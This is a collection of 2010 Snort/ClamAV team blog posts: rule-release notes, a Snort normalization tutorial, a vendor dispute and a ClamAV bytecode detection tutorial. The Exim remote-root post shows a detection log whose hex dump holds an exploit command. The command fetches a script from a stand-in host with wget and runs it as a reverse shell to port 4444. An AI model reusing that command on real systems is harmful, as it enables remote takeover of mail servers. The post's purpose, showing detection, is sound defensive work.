Thursday, December 23, 2010

'Tis the Season for 0-days

Hello, all! This is just a quick note that Microsoft has released a bulletin regarding a new 0-day in Internet Explorer versions 7 and 8. You can read all about it in their advisory at http://www.microsoft.com/technet/security/advisory/2488013.mspx as well as the reference for the CVE, 2010-3971. We have previously released coverage for this vulnerability in sids 18196 and 18240. Because we released coverage before Microsoft posted their bulletin or a CVE had been assigned, these rules do not have those references. We will release updated rules with the new references after the holidays.

In addition to the above CSS issue, two other 0-days have been making the rounds lately that I wanted to call attention to -- a vulnerable Active-X control that allows remote code execution that we defend against with sids 18241 and 18242 and a vulnerability in the Windows 7 IIS7.5 FTP server that we defend against with sid 18243. The FTP vulnerability does not require authentication and has the potential for remote code execution, so be sure to defend your servers and/or disable FTP if you're not using it. Neither of these vulnerabilities have in-depth bulletins written about them, just exploit code that is openly available online.

Monday, December 20, 2010

ClamAV 3.0 for Windows Open Beta

The public beta for ClamAV for Windows 3.0, which includes full integration of the ClamAV engine into the Immunet Protect product is now open. If you are interested in playing with ClamAV for Windows 3.0 please check out the following link:

Beta Announcement

The download links for the binaries are here:
(32 Bit) - Download
(64 Bit) - Download

Main feature overview:

* ClamAV 0.96.5 libraries for real-time scanning and offline scanning
* Customizable signatures support and signature creation UI
* Wildcard exclusions - specifically so we can exclude Thunderbird's %TEMP%\nsmail*.tmp
* Unicode bug fixes
* Bug fix for user's getting in a disconnected state

A few things to remember

Because this is a Beta 1:

* It is strongly recommended that you test on a VM
* See Bugzilla and Immunet Forums for any additional known defects.

Things to try out:
1. The SigUI - This allows you to create your own ClamAV signatures and load them into the engine. Its both a GUI, and a command line tool. Documentation is available here
2. Writing ClamAV sigs doc is here
3. False positives on installed applications or new applications

Reporting bugs :

Please report bugs at Bugzilla. Remember to attach a run of the System Diag Tool to help speed up fixing the problem. (its located in the Program Folder for ClamAV for Windows). It drops a zip file on the desktop.

Known issues:
1. Binaries are still labeled 2.0
2. Scan history screen contains duplicate entries.

Tuesday, December 14, 2010

Exim Remote Root

We've heard from a number of Sourcefire customers and open-source Snort users lately, asking us whether we'll be releasing coverage for last week's Exim remote root (CVE-2010-4344 for those keeping score at home). Based on what hit the Exim-dev mailing list, we felt confident that the SMTP preprocessor would catch the vulnerability; after testing with the proof-of-concept sent to the Full-Disclosure mailing list on Saturday, we've confirmed that SID 124:2:1 does the job nicely:

# ~/snort-2.9.0$ src/snort -c etc/snort.2900.conf -q -A cmg -r ~/pcaps/cve-2010-4344-full-disclosure.pcap
12/14-09:15:37.145472  [**] [124:2:1] (smtp) Attempted data header buffer overflow: 2896 chars [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 10.1.11.11:35781 -> 10.1.11.111:25
Stream reassembled packet
12/14-09:15:37.145472 00:0D:57:C7:22:C7 -> A4:BA:DC:19:DD:5F type:0x800 len:0xB92
10.1.11.11:35781 -> 10.1.11.111:25 TCP TTL:64 TOS:0x0 ID:47277 IpLen:20 DgmLen:2948 DF
***A**** Seq: 0xAFFD7BE6  Ack: 0x16168E70  Win: 0x7140  TcpLen: 32
20 2F 74 6D 70 2F 63 2E 70 6C 20 31 30 2E 31 2E   /tmp/c.pl 10.1.
31 31 2E 31 31 20 34 34 34 34 3B 27 7D 7D 20 24  11.11 4444;'}} $
7B 72 75 6E 7B 2F 62 69 6E 2F 73 68 20 2D 63 20  {run{/bin/sh -c
27 77 67 65 74 20 68 74 74 70 3A 2F 2F 77 77 77  'wget http://www
2E 65 78 61 6D 70 6C 65 2E 63 6F 6D 2F 73 68 65  .example.com/she
6C 6C 2E 74 78 74 20 2D 4F 20 2F 74 6D 70 2F 63  ll.txt -O /tmp/c
2E 70 6C 3B 70 65 72 6C 20 2F 74 6D 70 2F 63 2E  .pl;perl /tmp/c.
70 6C 20 31 30 2E 31 2E 31 31 2E 31 31 20 34 34  pl 10.1.11.11 44
34 34 3B 27 7D 7D 20 24 7B 72 75 6E 7B 2F 62 69  44;'}} ${run{/bi
...
No configuration is necessary; the default settings for the SMTP preprocessor will work here. For anyone who may have tweaked their config, ensure that the max_header_line_len is set to 2000 bytes or less (a reasonable value for all but the most unique of environments; the default value is 1000 bytes).

Friday, December 3, 2010

Detecting Obfuscated Malicious JavaScript with Snort and Razorback

Unlike most Americans, who were busy recovering from a turkey-induced coma, I spent this past weekend at the Hackers 2 Hackers Conference in Sao Paulo, Brazil. In addition to being a nice respite from the cold weather in DC, the event featured excellent speakers on topics as diverse as PDF analysis and fresh memory exploitation techniques.

One of those talks was my own, "Detecting Obfuscated Malicious JavaScript with Snort and Razorback" (PDF of slides). Given the quality of the other presentations, I doubted my work would attract much attention; however, if the number of people who've contacted me since my talk are any indication, I must have done something right.

In a nutshell, the concept that came out of my talk revolves around language-based anomaly detection. A trained analyst or JavaScript programmer has no problem looking at most malicious code and seeing it as such right away; the goal, then, is to be able to teach the computer to do the same, in the form of a Razorback module. While there's plenty to be done to make a usable detection nugget - including considering some of the excellent suggestions I've received from those who saw me speak - thus far the concept has proven itself useful enough to at least warrant further development.

That said, I'd love to get feedback from the broader community on this idea. Please take a look at my slides, and if you have any suggestions, questions, etc., post them below or email me directly at alex kirk sourcefire com. I hope to have functioning source code online at http://labs.snort.org/razorback/ by the end of 2010.

Monday, November 15, 2010

Inline Normalization with Snort 2.9.0

Snort 2.9.0 can take a more active role in securing your network in inline deployments by normalizing packets and streams to minimize the chance that Snort incorrectly models end systems.

To accomplish this, a new preprocessor was added. You must configure with this option to build it:
./configure --enable-normalizer
Then you can update your snort.conf as follows:
config min_ttl: <ttl>
config new_ttl: <ttl>

preprocessor normalize_ip4: [df], [rf]
preprocessor normalize_icmp4
preprocessor normalize_ip6
preprocessor normalize_icmp6
preprocessor normalize_tcp: \
[ips] [urp] \
[ecn <ecn_type> \
[opts [allow <allowed_opt>+]]
For details on these normalizations, see README.normalize. We will see the ttl and ips normalizations in action below.

Demo Setup

You can run these tests in readback mode using the dump DAQ or in playback mode using tcpreplay and an inline sensor. Using a sensor is the ultimate but you may find the dump DAQ to be indispensable for pcap testing.

Either way, we will run the tests twice, once in IDS mode and again in IPS mode. This will allow us to compare the results.

To run these tests you will need the this tarball: http://labs.snort.org/files/normalize.tgz.

For readback mode you will need:
  1. A system with the latest Snort and DAQ binaries. Install the tarball from this post there.
cd into the Sensor directory and edit config.sh to set SNORT appropriately.

When you run the tests with ./readback.sh, inline-out.pcap will be created which you can examine with wireshark. These files will have all packets as they would appear on the wire exiting Snort.

For playback mode you will need:
  1. A source / attack system with the Source/ directory from the tarball. This system also needs tcpreplay.
  2. An inline Snort sensor with the Sensor/ directory from the tarball. This system also needs the latest Snort and DAQ binaries.
  3. A sink / target system with the Sink/ directory from the tarball. This system also needs tcpdump.
Patch your Source and Sink to opposite sides of the inline pair on your Sensor and edit config.sh on each system to configure the PORT_* variables. On your sensor, you will also need to indicate where your Snort and any dynamic DAQ modules are installed. (If you built static DAQs the latter is not required.) You can add any extra options for Snort to SNORT.
+--------+       +--------+       +------+
| Source |S-----A| Sensor |B-----R| Sink |
+--------+       +--------+       +------+
The inline.sh script on the sensor will use the afpacket DAQ because it requires minimal external configuration. If you want to use a different DAQ, you must change this script and configure your system accordingly. Fore more on the DAQ, see this post.

NOTE: For these tests we are using canned traffic that is replayed from a packet capture file (PCAP file). For the stream tests, both ends of the traffic will be sent from the same point. Although that would not be the case for an inline sensor with live traffic, Snort will still see the traffic in the same relative order it would see live traffic.

Packet Normalization

This test will demonstrate how packets can be modified to meet the needs of a
secure network. By ensuring that the time-to-live (TTL) field has a suitable
value, it is less likely that a packet will be dropped by the network after
being processed by Snort. This enables Snort to more accurately model the
receiving host system and prevents wasting time on detection of packets that
won't reach their destination. Note that for IP6 the situation is essentially
the same, except the equivalent field is called “hop limit”.

TTL normalization pertains to both IP4 TTL (time-to-live) and IP6 (hop limit)
and is only performed if both the relevant protocol normalization is enabled
and the minimum and new TTL values are configured, as follows:
preprocessor normalize_ip4
preprocessor normalize_ip6

config min_ttl: 5
config new_ttl: 8
If a packet is received with a TTL < 5, the TTL will be set to 8. Since we enabled IP6 normalization, the same applies to hop limits.

Readback

  1. From Sensor/ run ./readback.sh ttl_i?s.conf ../Source/ttl.pcap.

Playback

  1. On the sensor, run ./inline.sh ttl_i?s.conf.
  2. On the sink, run ../recv.sh.
  3. On the source, run ./send.sh ttl.pcap.
  4. Type Ctl-C on the sensor and sink to terminate.
The results for ttl_ids.conf are:
16:21:10.133823 10.1.2.3.48620 > 10.9.8.7.8: [udp sum ok] udp 16 (ttl 6, id 1, len 44)
0x0000   4500 002c 0001 0000 0611 96ad 0a01 0203        E..,............
0x0010   0a09 0807 bdec 0008 0018 97a3 4352 4f57        ............CROW
0x0020   443a 2020 4120 7769 7463 6821 0000             D:..A.witch!..

16:21:10.133824 10.1.2.3.48620 > 10.9.8.7.8: [udp sum ok] udp 16 (ttl 5, id 2, len 44)
0x0000   4500 002c 0002 0000 0511 97ac 0a01 0203        E..,............
0x0010   0a09 0807 bdec 0008 0018 95dd 2020 4120        ..............A.
0x0020   7769 7463 6821 2020 4120 7769 0000             witch!..A.wi..

16:21:10.133826 10.1.2.3.48620 > 10.9.8.7.8: [udp sum ok] udp 16 (ttl 4, id 3, len 44)
0x0000   4500 002c 0003 0000 0411 98ab 0a01 0203        E..,............
0x0010   0a09 0807 bdec 0008 0018 6785 7463 6821        ..........g.tch!
0x0020   2020 5765 2776 6520 676f 7420 0000             ..We've.got...
The results for ttl_ips.conf are:
0x0000   4500 002c 0001 0000 0611 96ad 0a01 0203        E..,............
0x0010   0a09 0807 bdec 0008 0018 97a3 4352 4f57        ............CROW
0x0020   443a 2020 4120 7769 7463 6821 0000             D:..A.witch!..

16:09:56.871043 10.1.2.3.48620 > 10.9.8.7.8: [udp sum ok] udp 16 (ttl 5, id 2, len 44)
0x0000   4500 002c 0002 0000 0511 97ac 0a01 0203        E..,............
0x0010   0a09 0807 bdec 0008 0018 95dd 2020 4120        ..............A.
0x0020   7769 7463 6821 2020 4120 7769 0000             witch!..A.wi..

16:09:56.871044 10.1.2.3.48620 > 10.9.8.7.8: [udp sum ok] udp 16 (ttl 8, id 3, len 44)
0x0000   4500 002c 0003 0000 0811 94ab 0a01 0203        E..,............
0x0010   0a09 0807 bdec 0008 0018 6785 7463 6821        ..........g.tch!
0x0020   2020 5765 2776 6520 676f 7420 0000             ..We've.got...
In this case you see that the TTL of the third packet was changed from 4 to 8. Since the minimum allowed TTL was configured to 5, there was no change to the first two packets.
Packet I/O Totals:
Received:           57 
Analyzed:            3 (  5.263%)
Filtered:           54 ( 94.737%)

Verdicts:
Allow:            2 (  3.509%)
Replace:            1 (  1.754%)

Normalizer statistics:
ip4::ttl: 1
The ids counts above show 3 analyzed, 2 allowed, and 1 replaced, which is the packet counted under normalizer statistics.

Stream Normalization

This test demonstrates how TCP payload data can be normalized to ensure consistency with retransmitted data. By doing so, Snort is better protected against the vagaries of host dependent TCP reassembly procedures and is less likely to be evaded by such scenarios.

TCP normalizations are enabled with:
preprocessor normalize_tcp: ips
This will ensure consistency in retransmitted data. Any segments overlapping with previously received segments will have the overlaps overwritten to contain the data first received.

Readback

  1. From Sensor/ run ./readback.sh tcp_i?s.conf ../Source/tcp.pcap.

Playback

  1. On the sensor, run ./inline.sh tcp_i?s.conf.
  2. On the sink, run ../recv.sh.
  3. On the source, run ./send.sh tcp.pcap.
  4. Type Ctl-C on the sensor and sink to terminate.
The results for tcp_ids.conf are (we are looking at packets 4 and 5, which have payload):
16:24:05.877457 10.1.2.3.48620 > 10.9.8.7.8: . [tcp sum ok] 1:11(10) ack 1 win 256 (ttl 64, id 4, len 50)
0x0000   4500 0032 0004 0000 4006 5caf 0a01 0203        E..2....@.\.....
0x0010   0a09 0807 bdec 0008 0000 0002 0000 0002        ................
0x0020   5010 0100 ed1f 0000 7365 676d 656e 743d        P.......segment=
0x0030   3120                                           1.

16:24:05.877458 10.1.2.3.48620 > 10.9.8.7.8: . [tcp sum ok] 6:16(10) ack 1 win 256 (ttl 64, id 5, len 50)
0x0000   4500 0032 0005 0000 4006 5cae 0a01 0203        E..2....@.\.....
0x0010   0a09 0807 bdec 0008 0000 0007 0000 0002        ................
0x0020   5010 0100 26fc 0000 5858 5858 5873 6567        P...&...XXXXXseg
0x0030   3d32                                           =2
The results for tcp_ips.conf are:
16:14:12.402351 10.1.2.3.48620 > 10.9.8.7.8: . [tcp sum ok] 1:11(10) ack 1 win 256 (ttl
64, id 4, len 50)
0x0000 4500 0032 0004 0000 4006 5caf 0a01 0203 E..2....@.\.....
0x0010 0a09 0807 bdec 0008 0000 0002 0000 0002 ................
0x0020 5010 0100 ed1f 0000 7365 676d 656e 743d P.......segment=
0x0030 3120 1.

16:14:12.402352 10.1.2.3.48620 > 10.9.8.7.8: . [tcp sum ok] 6:16(10) ack 1 win 256 (ttl
64, id 5, len 50)
0x0000 4500 0032 0005 0000 4006 5cae 0a01 0203 E..2....@.\.....
0x0010 0a09 0807 bdec 0008 0000 0007 0000 0002 ................
0x0020 5010 0100 6407 0000 6e74 3d31 2073 6567 P...d...nt=1.seg
0x0030 3d32 =2
In this session, the client sends this 10 octet payload “segment=1 “ starting at relative sequence number 1, and then sends this 10 octet payload “XXXXXseg=2” starting at relative sequence number 6. Without stream normalization, payload at sequences 6 through 10 would be delivered to the server twice, first as “nt=1 “ and then as “XXXXX”. The actual data delivered to the application would then depend on the server's TCP reassembly policy, which is implementation specific.

With stream normalization enabled, the payload at sequences 6 through 10 is the same in both packets. In other words, the server receives this 10 octet payload “segment=1 “ starting at relative sequence number 1 and then receives this 10 octet payload “nt=1 seg=2” starting at relative sequence number 6. Regardless of implementation, there is only one way to reassemble this stream.
Verdicts:
Allow:            7 ( 43.750%)
Block:            0 (  0.000%)
Replace:            1 (  6.250%)
The counts show that there was one packet changed in the ips case.

Closing

There are several other normalizations available, especially for TCP. For more information, see README.normalize or the Snort manual. Stay tuned for additional posts covering additional features of Snort 2.9.0.

Tuesday, November 9, 2010

Rule release for today, Tuesday November 9th, 2010

Microsoft Security Advisory MS10-087:
Microsoft Office contains programming errors that may allow a remote attacker to execute code on an affected system.

Microsoft Security Advisory MS10-088:
Microsoft Office PowerPoint contains programming errors that may allow a remote attacker to execute code on an affected system.

Microsoft Security Advisory MS10-089:
Microsoft ForeFront United Gateway contains programming errors that may allow a remote attacker to execute code on an affected system.

Check out the advisory and change logs here: http://www.snort.org/vrt/advisories/2010/11/09/vrt-rules-2010-11-09.html

Tuesday, October 26, 2010

Friday, October 22, 2010

Some Facts About Advanced Evasion Techniques

Chances are you've heard the recent "news" about Advanced Evasion Techniques (AETs) from Finnish IPS vendor Stonesoft. Originally announced in an October 4 press release, the good folks at Stonesoft reported the IDS/IPS evasion techniques mentioned in their release to CERT-FI, which promptly issued a public statement. CERT-FI also gave Sourcefire full details on the evasion techniques, allowing us to evaluate their impact on Snort and the Sourcefire 3D system.

Per our standard vulnerability handling guidelines, Sourcefire is awaiting CERT-FI's release of details to the public - currently planned for November 23 - before discussing the technical nitty-gritty with the world at large. Having conducted in-house testing with the data provided to CERT-FI by Stonesoft, we've found that Snort handles all of the reported AETs nicely, and absent any evidence that large-scale attacks using these techniques are underway, we're toeing the responsible disclosure line and giving other vendors a chance to assess and update their products as necessary.

Stonesoft, meanwhile, apparently decided to shift gears out of responsible disclosure mode. While their first release generated some local press in Finland, the issue was largely under the international radar, as you would expect for an unverified set of evasions that were currently under investigation by the vendors in question. This past Monday, they issued a second press release. Put out in conjunction with a press release from ICSA Labs which purported to confirm Stonesoft's AET findings, the issue suddenly sprung to international prominence, with a number of articles heralding the end of IDS/IPS systems' ability to detect even the most mundane attacks. At the same time as this second release, Stonesoft also erected www.antievasion.com, a site full of pretty graphics and hype about AETs.

The mere existence of this site and the issuance of the second release, of course, is not enough to call them out as having moved away from responsible disclosure; it's the messages contained in those publications that's what does it. In their second press release, Stonesoft included a section titled "Best Defense Against AETs", which suggested the use of "flexible, software-based security systems ... such as the Stonesoft StoneGate network security solution", as opposed to the "static hardware-based solutions" that "most organizations today" use. This clear ploy to drive sales uses an extremely thinly veiled half-truth to sow FUD: while all of the major IDS/IPS vendors (Sourcefire, McAfee, TippingPoint, IBM/ISS, etc.) offer custom hardware platforms as part of their solution, the underlying engines of all of those systems are software-driven, and are updated on a regular basis (typically multiple times per week, if you count detection updates). To suggest, as Stonesoft's first release did, that AETs of any sort will require "extensive renewal of [organizations'] security systems" is to skate on very thin factual ice.

Half-truths like this are one thing; the outright lies on their Anti-Evasion web site are another. In the FAQ published there, they claim that "Stonesoft offers the most complete protection against AETs available on the market today". This claim comes despite one of the few well-established facts surrounding the AET mess: Stonesoft failed the evasions portion of the NSS Labs test in 2009. Sorry, you don't get to claim that you're the experts on IDS/IPS evasion if your product isn't up to the task of dealing with well-known, publicly available evasions used in the NSS test.

Just so you don't think we're throwing stones in a glass house, let me take a moment to point out Sourcefire's track record of dealing with IDS/IPS evasion. Not only were we one of three vendors to pass the 2009 NSS Labs evasions test; we have a long track record of publishing expert research in the field. Snort team lead Steve Sturges and (former) VRT senior researcher Judy Novak published an oft-cited paper entitled "Target-Based TCP Timestamp Stream Reassembly" in 2007; Ms. Novak also released "Target-Based Fragmentation Reassembly" in 2005. Brian Caswell, who literally worked in Sourcefire founder Marty Roesch's living room in the original days of Sourcefire, collaborated with H.D. Moore of Metasploit fame on the 2006 paper "Thermoptic Camouflage: Total IDS Evasion". The primary author of Snort's http_inspect module, Dan Roelker, wrote "HTTP IDS Evasions Revisited" way back in 2003. Sourcefire employees and Snort contributors have long been among the world's leading experts in IDS/IPS evasions.

Of course, anyone with a well-developed sense of cynicism - i.e. the entire network security industry - is likely to take anything Sourcefire says about Stonesoft with a grain of salt. After all, why believe one industry player's version of things over another? To that end, I'd like to finish up this post by pointing you to a very interesting article released Wednesday by Bob Walder - founder and former CEO of NSS Labs - about the AET issue. Having reviewed Stonesoft's AETs, he concludes that they are a re-hashing of well-known evasion techniques that have been standard in the IDS/IPS industry for the last 7+ years. While Mr. Walder is also toeing the responsible disclosure line, in that he gives no specifics, his credibility as an independent evaluator of network security products is rock-solid, and should carry a lot more weight than anything Sourcefire says.

Tuesday, October 12, 2010

Rule Release for Today, Tuesday October 12th, 2010

Big day for Microsoft patches today. Lots of rules to accompany it.

Release notes here: http://www.snort.org/vrt/advisories/2010/10/12/vrt-rules-2010-10-12.html

Read them here too:

Microsoft Security Advisory MS10-070:
The Microsoft .NET Framework discloses enough information in error responses that an attacker is able to decrypt and modify encrypted data.

Previously released rules to detect attacks targeting this vulnerability have been updated with the appropriate reference and are identified with GID 3, SIDs 17428 and 17429.

Microsoft Security Advisory MS10-071:
Microsoft Internet Explorer contains programming errors that may allow a remote attacker to execute code on an affected system.

Rules to detect attacks targeting these vulnerabilities are included in this release and are identified with GID 3, SIDs 17766 through 17774

Microsoft Security Advisory MS10-072:
Microsoft Internet Explorer contains a programming error that may allow a remote attacker to perform a cross-site scripting attack against an affected system.

Rules to detect attacks targeting this vulnerability are included in this release and are identified with GID 3, SIDs 17766 and 17767.

Microsoft Security Advisory MS10-075:
Microsoft Windows Media Player contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17753.

Microsoft Security Advisory MS10-076:
Microsoft Internet Explorer contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17747.

Microsoft Security Advisory MS10-078:
The Microsoft implementation for parsing OpenType fonts contains a programming error that may allow a remote attacker to execute code on an affected system.

Rules to detect attacks targeting this vulnerability are included in this release and are identified with GID 3, SIDs 17752 and 17765.

Microsoft Security Advisory MS10-079:
Microsoft Word contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17756.

Microsoft Security Advisory MS10-080:
Microsoft Excel contains programming errors that may allow a remote attacker to execute code on an affected system.

Rules to detect attacks targeting these vulnerabilities are included in this release and are identified with GID 3, SIDs 17757 through 17764.

Microsoft Security Advisory MS10-083:
Microsoft Windows Media Player Firefox plugin contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17773.

Microsoft Security Advisory MS10-085:
Microsoft IIS contains a programming error that may allow a remote attacker to cause a Denial of Service (DoS) against an affected system.

A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17750.

Monday, September 27, 2010

Rule Release for Today, Monday September 27th, 2010

We've added and modified multiple rules in the chat, dns, exploit, ftp, imap, misc, netbios, oracle, policy, pop3, rpc, specific-threats sql, tftp, web-activex, web-client and web-misc rule sets.

Get it: http://www.snort.org/vrt/advisories/2010/09/27/vrt-rules-2010-09-27.html

Thursday, September 23, 2010

Rule Release for Today, Thursday September 23rd, 2010

Microsoft .NET Framework Information Disclosure (CVE-2010-3332):
The Microsoft .NET Framework discloses enough information in error responses that an attacker is able to decrypt and modify encrypted data. The attacker is also able to forge cookies and obtain application files via an Oracle padding attack.

Get some: http://www.snort.org/vrt/advisories/2010/09/23/vrt-rules-2010-09-23.html

Tuesday, September 21, 2010

Rule Release for Today, Tuesday September 21st, 2010

Maintenance release this one. Quite a few modifications and additions.

Check it out here http://www.snort.org/vrt/advisories/2010/09/21/vrt-rules-2010-09-21.html

Tuesday, September 14, 2010

Rule Release for Today, Tuesday September 14th, 2010

Microsoft Security Advisory MS10-061:
The Microsoft Windows Print Spooler service contains a programming error that may allow a remote attacker to execute code on an affected system.

Rules to detect attacks targeting this vulnerability is included in this release and are identified with GID 3, SIDs 17252 and 17253.

Microsoft Security Advisory MS10-062:
Microsoft Windows Media Player contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17242.

Microsoft Security Advisory MS10-063:
Microsoft Windows XP and Vista contain a programming error that may allow a remote attacker to execute code on an affected system via the use of specially crafted Uniscribe fonts.

A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17256.

Microsoft Security Advisory MS10-064:
Microsoft Outlook contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17251.

Microsoft Security Advisory MS10-065:
Microsoft Internet Information Server (IIS) contains a programming error that may allow a remote attacker to execute code on an affected system.

Rules to detect attacks targeting this vulnerability is included in this release and are identified with GID 3, SIDs 17254 and 17255.

Microsoft Security Advisory MS10-067:
Microsoft WordPad contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17250.

Microsoft Security Advisory MS10-068:
Microsoft LSASS contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17249.

Adobe Security Bulletin APSA10-03:
Adobe Flash Player contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 1, SID 17257.

Check it out here: http://www.snort.org/vrt/advisories/2010/09/14/vrt-rules-2010-09-14.html

Thursday, September 9, 2010

Rule Release for Today, Thursday September 9th, 2010

Adobe Acrobat Reader and Adobe Acrobat contains a programming error that may allow a remote attacker to execute code on an affected system. The problem occurs when parsing TrueType font data.

More info: http://www.snort.org/vrt/advisories/2010/09/09/vrt-rules-2010-09-09.html

Tuesday, September 7, 2010

Rule Release for Today, Tuesday September 7th, 2010

Additions and modifications to the policy, specific-threats and web-client rule sets.

Introduction to ClamAV's Low Level Virtual Machine (LLVM)

Users of prior versions of ClamAV may have noticed a drastic increase in the size of the tarball with the introduction of 0.96. This is due to the addition of a bytecode interpreter, and a JIT Low Level Virtual Machine (LLVM). It greatly extends ClamAV detection capabilities by being able to interpret/execute bytecode. Not a lot of documentation exists as yet about how to write bytecode for ClamAV and take advantage of the tremendous flexibility it offers (I will try to fix that). If you want to write your own bytecode for ClamAV, you will need to configure ClamAV to allow it to load unsigned bytecode (bytecode shipped by ClamAV is digitally signed, and by default only signed bytecode is loaded).

If you already have ClamAV installed, even the latest version, you will have to remove it:
sudo make uninstall
(Alternatively you can keep your existing ClamAV installed, and just build a new ClamAV without installing it.)

Get the latest version of ClamAV here. Untar the archive and run the commands
./configure --enable-unsigned-bytecode && make && sudo make install
Note the configure option --enable-unsigned-bytecode. Without it, ClamAV will refuse to load your custom bytecode and produce this warning:
LibClamAV Warning: Only loading signed bytecode, skipping load of unsigned bytecode!
Now get the bytecode compiler by running the command
git clone git://git.clamav.net/git/clamav-bytecode-compiler
This will create a folder called clamav-bytecode-compiler that contains everything needed to compile ClamAV bytecode, including documentation in the subfolder doc (the latest compiler documentation can always be accessed here). Make sure to follow the instructions in the README file to build the compiler.

Here's a case study to see how ClamAV bytecode can come in handy (this is an integer overflow vulnerability in a old version of OpenOffice CVE-2008-2238). The vulnerability came about due to the way OpenOffice used to parse Enhanced Metafiles (EMF). The specifications for the EMF file format is available here. An EMF metafile is composed of a series of variable-length records called EMF records. An EMF record has the following format:
Offset Size Description
------------------------------------
0x0000 4 Record Type
0x0004 4 Record Size
0x0008 N Type-Specific Data
There is a record called EMR_EXTTEXTOUTW which has the following format:
Offset Size Description
------------------------------------
0x0000 4 Record Type: EMF_EXTTEXTOUTW <0x00000054>
0x0004 4 Record Size
0x0008 16 Bounds
0x0018 4 iGraphicsMode
0x001c 4 exScale
0x0020 4 eyScale
0x0024 N EmrText (variable)
The EmrText block has the following format:
Offset Size Description
-----------------------------
0x0000 8 Reference
0x0008 4 Chars OR nLen
0x000C 4 OffString
......
Without getting into the details of why, I'll just say that there is an integer overflow condition if the value of Chars is equal or greater than 0x80000000 bytes.

Fire up your favorite text editor and create a file called emf_CVE-2008-2238.c.

Start off by specifying the type of file you are targeting (more information about target types here):
TARGET(0)
Next we declare the .ndb style pattern we will be looking for in EMF files as we attempt to identify the ones that may be trying to leverage the vulnerability. Based on the specifications for the EMF format, the first record in the metafile is always an EMF header record (type 0x01) and 40 bytes into the record is a digital signature that must be EMF. Let's declare this signature and delimit it with the macros SIGNATURES_DECL_BEGIN and SIGNATURES_DECL_END:
SIGNATURES_DECL_BEGIN
DECLARE_SIGNATURE(emr_header)
SIGNATURES_DECL_END
The definitions are delimited by the macros SIGNATURE_DEF_BEGIN and SIGNATURES_END:
SIGNATURES_DEF_BEGIN
DEFINE_SIGNATURE(emr_header, "0:01000000{37}454d46")
SIGNATURES_END
We then define a function called logical_trigger() which is a must for bytecode that is triggered by a logical signature:
bool logical_trigger()
{
return matches(Signatures.emr_header);
}
If needed you can combine multiple signatures here with boolean and comparison operators. See the format of .ldb signatures for more details, or the compiler's documentation. In this case what this function does is return true if the emr_header signature is matched. If the function logical_trigger returns true then the fuction entrypoint is called. The function is of type int. I have attempted to explain the detection logic of the function through the embedded comments below:
/* This is the bytecode function that is actually executed when the logical signature is matched */
int entrypoint(void)
{
uint8_t emf_exttextoutw[4] = "\x54\x00\x00\x00"; /* Header for EMF record EMR_EXTTEXTOUTW */
int pos=0; /* Cursor position in file */
int Chars_value=0; /* Value of the attribute Chars */
uint8_t Chars[4]; /* Chars attribute. See format for EmrText block */

while (1)
{
/* Find a EMF record EMR_EXTTEXTOUTW */
pos = file_find(emf_exttextoutw,4);

/* If EMF record EMR_EXTTEXTOUTW cannot be found */
if (pos == -1)
break;
else
{
/* Move the cursor 44 bytes forward, to the start of Chars */
seek(pos+44, SEEK_SET);

/** Read Chars, which is 4 bytes long, little endian **/
read (Chars, sizeof(Chars));

/*** Convert to host system's endianess. cli_readint32 is part if the ClamAV API.
So if your system is already little endian it does nothing (just reads
the value), and if your system is big endian it swaps the bytes. See definition
of cli_readint32 in other.h in the libclamav folder of your ClamAV installation ***/
int Chars_value = cli_readint32(Chars);

if (Chars_value >= 0x80000000)
{
foundVirus("CVE-2008-2238");
break;
}
else
{
/** Advance by 1 position in the file **/
seek (pos+1, SEEK_SET);
}
}
}
return 0;
}
Here's the code in its entirety. Use it as a template to write your own bytecode, or as an exercise, compile it and using a hex editor, create a file that will trigger this bytecode signature.

Finally, before you run off and start writing your own code, keep in mind that you are writing code in C. What I mean by that is that you can introduce buffer overflow vulnerabilities, infinite loop conditions and so on. Check, double check, heck! triple check your code before you start using it in a production environment. With that being said, ClamAV does have some measures in place to keep it from running out of control: memory accesses are bounds checked, bytecode execution has timeouts, and bytecodes are run with stack smashing protection. When either of these are detected at runtime, bytecode execution is stopped and ClamAV continues to execute normally. Still it is not guaranteed that these protections are perfect, so you should still check your code!

Wednesday, August 25, 2010

Rule Release for Today, Wednesday August 25th, 2010

Adobe, vulnerabilities in Director, no kidding. Who would've thought that? Well, rules are out.

Check it out here: http://www.snort.org/vrt/advisories/2010/08/25/vrt-rules-2010-08-25.html

Wednesday, August 18, 2010

Rule Release for Today, Wednesday August 18th, 2010

Maintenance release this one, some new rules, some modifications, check it out here: http://www.snort.org/vrt/advisories/2010/08/18/vrt-rules-2010-08-18.html

Monday, August 16, 2010

ClamAV Release Announcements

ClamAV for Windows 2.0 has officially launched. This version contains a new GUI, numerous new detection features, a new prevention engine, and a ton of other features. Check out ClamAV for Windows 2.0 (here)

New Features Include:
  • New GUI - Completely new UI for a better user experience.
  • Community Visualization – Graphical representation of your community and an understanding of the threat landscape. Know where you, your country, and your community stand in relation to the rest of the world.
  • Community Notices – Stay up to date on the latest ClamAV for Windows news, emerging threats, and other relevant information.
  • New SPERO Engine – A new machine learning prevention and detection engine.
  • Enhanced companion support – Additional support of companion AV.

Not Familiar with ClamAV for Windows?
